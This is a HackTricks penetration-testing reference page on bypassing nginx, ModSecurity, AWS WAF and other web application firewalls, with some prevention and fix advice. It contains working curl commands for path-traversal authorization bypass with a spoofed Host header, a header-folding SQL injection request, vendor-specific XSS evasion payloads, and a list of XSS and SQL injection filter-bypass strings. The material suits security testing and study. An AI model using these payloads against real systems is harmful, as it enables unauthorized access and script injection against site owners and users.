proxy-waf-protections-bypass.md (29228B)
1 --- 2 title: "Proxy / WAF Protections Bypass" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/proxy-waf-protections-bypass.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/proxy-waf-protections-bypass.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Proxy / WAF Protections Bypass 14 15 ## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a> 16 17 Techniques [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).<sup>[[1]](#references)</sup> 18 19 Nginx rule example: 20 21 ```plaintext 22 location = /admin { 23 deny all; 24 } 25 26 location = /admin/ { 27 deny all; 28 } 29 ``` 30 31 In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn't remove) it might be possible to bypass this defense. 32 33 ### **NodeJS - Express** 34 35 | Nginx Version | **Node.js Bypass Characters** | 36 | ------------- | ----------------------------- | 37 | 1.22.0 | `\xA0` | 38 | 1.21.6 | `\xA0` | 39 | 1.20.2 | `\xA0`, `\x09`, `\x0C` | 40 | 1.18.0 | `\xA0`, `\x09`, `\x0C` | 41 | 1.16.1 | `\xA0`, `\x09`, `\x0C` | 42 43 ### **Flask** 44 45 | Nginx Version | **Flask Bypass Characters** | 46 | ------------- | -------------------------------------------------------------- | 47 | 1.22.0 | `\x85`, `\xA0` | 48 | 1.21.6 | `\x85`, `\xA0` | 49 | 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | 50 | 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | 51 | 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | 52 53 ### **Spring Boot** 54 55 | Nginx Version | **Spring Boot Bypass Characters** | 56 | ------------- | --------------------------------- | 57 | 1.22.0 | `;` | 58 | 1.21.6 | `;` | 59 | 1.20.2 | `\x09`, `;` | 60 | 1.18.0 | `\x09`, `;` | 61 | 1.16.1 | `\x09`, `;` | 62 63 ### **PHP-FPM** 64 65 Nginx FPM configuration: 66 67 ```plaintext 68 location = /admin.php { 69 deny all; 70 } 71 72 location ~ \.php$ { 73 include snippets/fastcgi-php.conf; 74 fastcgi_pass unix:/run/php/php8.1-fpm.sock; 75 } 76 ``` 77 78 Nginx is configured to block access to `/admin.php` but it's possible to bypass this by accessing `/admin.php/index.php`. 79 80 ### How to prevent 81 82 ```plaintext 83 location ~* ^/admin { 84 deny all; 85 } 86 ``` 87 88 ## Raw-vs-normalized URI authorization bypass 89 90 A reverse proxy can give one request **two security identities** when authorization evaluates the original URI while routing later uses a decoded, dot-segment-normalized URI. In nginx, policy built from `$request_uri` can therefore disagree with the location/upstream selected from the normalized `$uri`; this is more dangerous than a normal ACL bypass when the first path segment selects a tenant, application, or permission domain.<sup>[[15]](#references)</sup> 91 92 For example, an authorization subrequest may extract the target service from the raw path:<sup>[[15]](#references)</sup> 93 94 ```nginx 95 map $request_uri $target_service { 96 default ""; 97 ~^/proxy/([a-z]+)/ $1; 98 } 99 ``` 100 101 A request such as `/proxy/allowed/..%2f..%2fproxy/forbidden/api` can be authorized for `allowed`, then decoded and normalized to `/proxy/forbidden/api` for upstream routing. Establish a denied baseline against the protected path first, then compare it with the traversal form; a stable `403` to `200` change is strong evidence that the policy and routing layers interpreted different destinations.<sup>[[15]](#references)</sup> 102 103 ### Prefix exemptions become routing keys 104 105 Authentication allowlists based on lexical prefix checks are especially exploitable across this boundary. If the gate exempts every raw path satisfying `startsWith("/api/auth/public/")`, traversal appended after that prefix can retain the exemption while normalization selects an unrelated protected handler:<sup>[[15]](#references)</sup> 106 107 ```text 108 raw: /api/auth/public/../../../proxy/internal/admin 109 policy: startsWith("/api/auth/public/") -> exempt 110 normalized: /proxy/internal/admin -> protected upstream 111 ``` 112 113 Preserve the path bytes during testing because HTTP clients may remove dot segments before sending the request:<sup>[[15]](#references)</sup> 114 115 ```bash 116 curl -sk --path-as-is \ 117 'https://target/api/auth/public/../../../proxy/internal/admin' 118 ``` 119 120 Also audit the service-extraction grammar itself. A regex such as `[a-z]+` does not recognize legitimate identifiers containing hyphens, so the authorization backend may receive an empty/default service while routing still reaches the hyphenated application.<sup>[[15]](#references)</sup> 121 122 ### Trusted-host metadata as a second bypass 123 124 After reaching an internal-only upstream, inspect how it determines the caller. A loopback service always sees the reverse proxy as its TCP peer; if it then treats client-influenced `Host` or `X-Forwarded-Host` as proof of local origin, an external request with `Host: 127.0.0.1` may satisfy the trusted-host check. This applies when the proxy rebuilds the forwarded header from the incoming Host value rather than a fixed, authenticated service identity.<sup>[[15]](#references)</sup> 125 126 ```bash 127 curl -sk --path-as-is \ 128 'https://target/api/auth/public/../../../proxy/internal/admin' \ 129 -H 'Host: 127.0.0.1' 130 ``` 131 132 A compact review workflow is to log and compare the original URI, normalized URI, extracted authorization target, selected upstream, socket peer, and every forwarded identity header for the same request; test direct and traversal variants with no-permission and unauthenticated sessions. Fixes should canonicalize once before both authorization and routing, use exact route/method allowlist entries, validate the complete service-name grammar, and authenticate proxy-to-service identity instead of trusting client-derived host metadata.<sup>[[15]](#references)</sup> 133 134 When this bypass exposes a dangerous internal handler, assess the reached primitive rather than repeating it here: [SQL injection](/hacktricks/pentesting-web/sql-injection/overview), [command injection](/hacktricks/pentesting-web/command-injection), [JWT secret compromise](/hacktricks/pentesting-web/hacking-jwt-json-web-tokens), or [sudo command abuse](/hacktricks/linux-hardening/main-system-information/sudo-command-abuse).<sup>[[15]](#references)</sup> 135 136 ## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a> 137 138 ### Path Confusion 139 140 [**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) is explained that ModSecurity v3 (until 3.0.12), **improperly implemented the `REQUEST_FILENAME`** variable which was supposed to contain the accessed path (until the start of the parameters). This is because it performed an URL decode to get the path.<sup>[[2]](#references)</sup>\ 141 Therefore, a request like `http://example.com/foo%3f';alert(1);foo=` in mod security will suppose that the path is just `/foo` because `%3f` is transformed into `?` ending the URL path, but actually the path that a server will receive will be `/foo%3f';alert(1);foo=`.<sup>[[2]](#references)</sup> 142 143 The variables `REQUEST_BASENAME` and `PATH_INFO` were also affected by this bug. 144 145 Something similar ocurred in version 2 of Mod Security that allowed to bypass a protection that prevented user accessing files with specific extensions related to backup files (such as `.bak`) simply by sending the dot URL encoded in `%2e`, for example: `https://example.com/backup%2ebak`. 146 147 ## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a> 148 149 ### Malformed Header 150 151 [This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) mentions that it was possible to bypass AWS WAF rules applied over HTTP headers by sending a "malformed" header that wasn't properly parsed by AWS but it was by the backend server.<sup>[[1]](#references)</sup> 152 153 For example, sending the following request with a SQL injection in the header X-Query: 154 155 ```http 156 GET / HTTP/1.1\r\n 157 Host: target.com\r\n 158 X-Query: Value\r\n 159 \t' or '1'='1' -- \r\n 160 Connection: close\r\n 161 \r\n 162 ``` 163 164 It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed). 165 166 ## Multipart / parser-differential WAF bypasses 167 168 Some emergency WAF rules for parser-driven bugs try to **parse `multipart/form-data` themselves** and then scan only the reconstructed fields. This is fragile: if the WAF and the backend do **not** implement the **same grammar**, the WAF can inspect a harmless interpretation while the backend rebuilds the real payload. Treat this as a **grammar un-equivalence** problem, not as pure signature evasion. 169 170 This is especially relevant in exploit chains such as **React2Shell**, where the malicious server-side object graph can stay unchanged while only the **HTTP transport syntax** is mutated until the WAF and the origin disagree.<sup>[[3]](#references)</sup> 171 172 ### High-value parser differential checks 173 174 - **Top-level `Content-Type` parsing**: duplicate `boundary=` parameters, quoted vs unquoted values, spaces, escapes, RFC 5987 parameters, multiple `Content-Type` headers, case sensitivity, invalid/non-UTF8 bytes. 175 - **Multipart framing**: garbage before/after the first boundary, `\r\n` vs `\n`, large body handling, duplicate field names, malformed closing markers such as ``--boundary-- ``. 176 - **Per-part headers**: duplicate `Content-Type`, `Content-Disposition` quirks (`filename`, `filename*=`), per-part charsets such as `utf16le` / `ucs2`, duplicate sub-headers, `Content-Transfer-Encoding`. 177 178 ### Exploitable patterns 179 180 - **Duplicate parameter precedence mismatch**: if the WAF uses the last `boundary=` but the backend uses the first one, the WAF can parse an empty body while the backend parses the attacker-controlled parts. 181 - **Fail-open parser errors**: if malformed headers or invalid octets make the WAF parser error and the request is still forwarded, inspection is effectively disabled. 182 - **Per-part charset decoding gaps**: if the backend honors `Content-Type: text/plain; charset=utf16le` (or `ucs2`) inside a multipart part while the WAF scans raw bytes, blocked markers such as `:constructor` can be hidden in the encoded body. `busboy`, for example, maps `utf16le` / `ucs2` to a UTF-16 decoder.<sup>[[4]](#references)</sup> 183 - **Duplicate multipart sub-headers**: duplicated `Content-Type` headers inside the same part can create a second precedence mismatch where the WAF sees `charset=utf8` but the backend honors the first `charset=utf16le`. 184 - **Boundary termination quirks**: if the WAF accepts `--boundary-- ` as the final marker but the backend rejects the trailing whitespace, the WAF stops scanning too early and the backend keeps parsing later parts. 185 186 ### Testing workflow 187 188 1. Find or build an endpoint that shows how the **backend parser** reconstructed each multipart field. 189 2. Keep the **backend payload** identical and mutate only the **transport grammar**. 190 3. Diff the WAF decision against backend parsing while fuzzing duplicate parameters, duplicate headers, malformed octets, part charsets, and closing-boundary syntax. 191 4. Treat **parse error => allow** as a critical finding and validate first with safe marker strings before replaying the real exploit payload. 192 193 These ambiguities often overlap with: 194 195 [Readme](/hacktricks/pentesting-web/http-request-smuggling/overview) 196 197 [Readme](/hacktricks/pentesting-web/file-upload/overview) 198 199 ## TLS, JA3/JA4 and HTTP/2 fingerprint evasion 200 201 An intercepting proxy creates two independent TLS sessions: browser-to-proxy and proxy-to-origin. The origin therefore fingerprints **Burp's outbound `ClientHello`**, not the browser's, while still receiving forwarded headers such as a Firefox or Chrome `User-Agent`. Bot controls can detect this cross-layer mismatch by correlating the TLS version, ordered cipher suites and extensions, ALPN, HTTP/2 `SETTINGS` and pseudo-header ordering, header ordering, and timing.<sup>[[14]](#references)</sup> 202 203 JA3 summarizes ordered `ClientHello` fields, so changing only the `User-Agent` does not change the TLS identity. JA4 normalizes some unstable fields but the testing principle is the same: treat TLS, HTTP/2, headers, and behavior as one fingerprint rather than independent layers.<sup>[[14]](#references)</sup> 204 205 ### Shape Burp's server-facing connection 206 207 The [Bypass Bot Detection BApp](https://portswigger.net/bappstore/50fd63182afe43b7a3cf99b523f313f9) changes Burp's server-facing network settings. Right-click a relevant request/response and open **Extensions -> Bypass bot detection**; current versions expose browser cipher profiles, an HTTP/2 downgrade, and brute-force probing.<sup>[[13]](#references)[[14]](#references)</sup> 208 209 - **Browser profile:** select a Firefox, Chrome, or Safari profile matching the HTTP identity. The extension configures a shorter browser-shaped TLS protocol/cipher list and a corresponding `User-Agent`. 210 - **HTTP/2 downgrade:** force HTTP/1.1 when the origin permits it, removing HTTP/2 `SETTINGS` and pseudo-header-order signals. TLS and HTTP/1 header/behavioral signals remain visible. 211 - **Brute force:** replay selected requests with different TLS protocol/cipher combinations and flag response differences. This identifies cipher-sensitive scoring, not a universal bypass. 212 213 The extension selects Burp's **Use custom protocols and ciphers** setting and brute-force mode changes network settings while it runs; do not run it concurrently with unrelated active scans. Cipher shaping also does **not** reproduce every byte of a real browser handshake, so extension order, supported groups, ALPN, timing, HTTP semantics, or behavioral telemetry may still reveal the proxy.<sup>[[13]](#references)[[14]](#references)</sup> 214 215 ### Verify instead of assuming 216 217 Measure both the transport change and the application result.<sup>[[14]](#references)</sup> 218 219 1. Record a direct-browser baseline with a fingerprint echo endpoint such as `https://tls.peet.ws/api/all`. 220 2. Send the same request through Burp with the BApp disabled and save the reported ciphers, extensions, JA3/JA4, ALPN, and HTTP/2 fields. 221 3. Apply the desired profile or downgrade and repeat the request. 222 4. For byte-level confirmation, capture Burp's outbound `ClientHello` in Wireshark and diff cipher/extension ordering. 223 5. Finally, repeat the authentication or session flow that was rejected. A changed hash proves only that the handshake changed; the target flow proves whether bot scoring changed. 224 225 When comparing repeated TLS 1.3 connections, separate **full handshakes** from **resumed sessions**. A first connection may include extension `35` (`session_ticket`), while a resumed connection may replace it with extension `41` (`pre_shared_key`); that legitimate extension-list change also changes JA3. Use equivalent session state (or fresh sessions) before attributing a difference to the BApp.<sup>[[14]](#references)</sup> 226 227 ## Generic WAF bypasses 228 229 For additional modern examples across large attack surfaces, the NahamCon 2024 talk in the References section is a useful companion to the concrete parser and encoding differentials below.<sup>[[10]](#references)</sup> 230 231 ### Request Size Limits 232 233 Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request. 234 235 - For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:** 236 237 <table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table> 238 239 - From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:** 240 241 Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit: 242 243 If p**revention mode**: Logs and blocks the request.\ 244 If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit. 245 246 - From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:** 247 248 By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata. 249 250 - From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:** 251 252 Up to 128KB. 253 254 ### Static assets inspection gaps (.js GETs) 255 256 Some CDN/WAF stacks apply weak or no content inspection to GET requests for static assets (for example paths ending with `.js`), while still applying global rules like rate limiting and IP reputation. Combined with auto-caching of static extensions, this can be abused to deliver or seed malicious variants that affect subsequent HTML responses.<sup>[[5]](#references)</sup> 257 258 Practical use cases: 259 260 - Send payloads in untrusted headers (e.g., `User-Agent`) on a GET to a `.js` path to avoid content inspection, then immediately request the main HTML to influence the cached variant. 261 - Use a fresh/clean IP; once an IP is flagged, routing changes can make the technique unreliable. 262 - In Burp Repeater, use "Send group in parallel" (single-packet style) to race the two requests (`.js` then HTML) through the same front-end path. 263 264 This pairs well with header-reflection cache poisoning. See: 265 266 [Readme](/hacktricks/pentesting-web/cache-deception/overview) 267 268 - [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)<sup>[[5]](#references)</sup> 269 270 ### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a> 271 272 ```bash 273 # IIS, ASP Clasic 274 <%s%cr%u0131pt> == <script> 275 276 # Path blacklist bypass - Tomcat 277 /path1/path2/ == ;/path1;foo/path2;bar/; 278 ``` 279 280 ### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a> 281 282 Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload.<sup>[[6]](#references)</sup> Compatible characters can be found [here](https://www.compart.com/en/unicode). 283 284 #### Example <a href="#example" id="example"></a> 285 286 ```bash 287 # under the NFKD normalization algorithm, the characters on the left translate 288 # to the XSS payload on the right 289 <img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'> 290 ``` 291 292 ### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a> 293 294 As described in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), contextual WAFs can sometimes be bypassed by exploiting differences between how the WAF and the application normalize user input.<sup>[[7]](#references)</sup> 295 296 For example, in the post it's mentioned that **Akamai URL decoded a user input 10 times**. Therefore something like `<input/%2525252525252525253e/onfocus` will be seen by Akamai as `<input/>/onfocus` which **might think that it's ok as the tag is closed**. However, as long as the application doesn't URL decode the input 10 times, the victim will see something like `<input/%25252525252525253e/onfocus` which is **still valid for a XSS attack**. 297 298 This can **hide payloads in encoded components** that the WAF decodes differently from the application or browser. 299 300 Moreover, this can be done not only with URL encoded payloads but also with other encodings such as unicode, hex, octal... 301 302 In the post the following final bypasses are suggested: 303 304 - Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>` 305 - Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">` 306 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>` 307 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">` 308 309 It's also mentioned that depending on **how some WAFs understand the context** of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between `/*` and `*/` (potentially because this is commonly used as comments. Therefore, a SQLinjection such as `/*'or sleep(5)-- -*/` won't be caught and will be valid as `/*` is the starting string of the injection and `*/` is commented. 310 311 These kind of context problems can also be used to **abuse other vulnerabilities than the one expected** to be exploited by the WAF (e.g. this could also be used to exploit a XSS). 312 313 ### Inline JavaScript first-statement inspection gaps 314 315 Some inline-inspection rulesets only parse the first JavaScript statement present inside an event handler. By prefixing a harmless-looking expression in parentheses followed by a semicolon (for example `onfocus="(history.length);payload"`), the malicious code placed after the semicolon bypasses inspection while the browser still executes it. Combining this with fragment-induced focus (e.g., appending `#forgot_btn` so the targeted element is focused on load) allows click-less XSS that can immediately call `$.getScript` and bootstrap phishing tooling such as keyloggers. See the [attribute-only login XSS case study](/hacktricks/pentesting-web/xss-cross-site-scripting/overview#attribute-only-login-xss-behind-wafs) derived from [this research](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/).<sup>[[8]](#references)</sup> 316 317 ### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a> 318 319 320 [H2C Smuggling](/hacktricks/pentesting-web/h2c-smuggling) 321 322 ### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a> 323 324 - [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf 325 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox 326 - [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs 327 - [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines. 328 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)<sup>[[7]](#references)</sup> 329 330 ### Regex Bypasses 331 332 Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).<sup>[[9]](#references)</sup><sup>[[11]](#references)</sup><sup>[[12]](#references)</sup> 333 334 ```bash 335 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag 336 <<script>alert(XSS)</script> #prepending an additional "<" 337 <script>alert(XSS) // #removing the closing tag 338 <script>alert`XSS`</script> #using backticks instead of parenetheses 339 java%0ascript:alert(1) #using encoded newline characters 340 <iframe src=http://malicous.com < #double open angle brackets 341 <STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags 342 <img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected 343 <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters 344 Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt 345 javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding 346 <iframe src="javascript:alert(`xss`)"> #unicode encoding 347 /?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement 348 new Function`alt\`6\``; #using backticks instead of parentheses 349 data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript 350 %26%2397;lert(1) #using HTML encoding 351 <a src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm%28XSS%29"> #Using Line Feed (LF) line breaks 352 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine) 353 ``` 354 355 ## Tools 356 357 - [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin to add junk data to requests to bypass WAFs by length 358 359 ## References 360 361 - [1] [Exploiting HTTP Parsers Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 362 - [2] [ModSecurity: Path Confusion and Really Easy Bypass on v2 and v3](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) 363 - [3] [$170k in Bypasses: The Vercel React2Shell Challenge](https://www.hacktron.ai/blog/react2shell-vercel-waf-bypass) 364 - [4] [busboy - lib/utils.js (charset-to-decoder mapping)](https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L403-L406) 365 - [5] [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) 366 - [6] [WAF Bypassing with Unicode Compatibility](https://jlajara.gitlab.io/Bypass_WAF_Unicode) 367 - [7] [Exploring JavaScript Events: Bypassing WAFs via Character Normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) 368 - [8] [Turning a Harmless XSS Behind a WAF into a Realistic Phishing Vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) 369 - [9] [5 Ways I Bypassed Your Web Application Firewall (WAF)](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) 370 - [10] [#NahamCon2024: Modern WAF Bypass Techniques on Large Attack Surfaces](https://www.youtube.com/watch?v=0OMmWtU2Y_g) 371 - [11] [swisskyrepo/PayloadsAllTheThings - PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 372 - [12] [cheatsheetseries.owasp.org - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 373 - [13] [PortSwigger Bypass Bot Detection extension](https://github.com/PortSwigger/bypass-bot-detection) 374 - [14] [When a Web App Detects Burp Suite via TLS Fingerprinting](https://kecman.co/blog/burp-suite-tls-fingerprint-bot-detection-bypass.html) 375 - [15] [Pre-Auth RCE in UniFi OS — One Request to Root Behind Seven Products](https://catchify.sa/post/pre-auth-rce-unifi-os-one-request-to-root)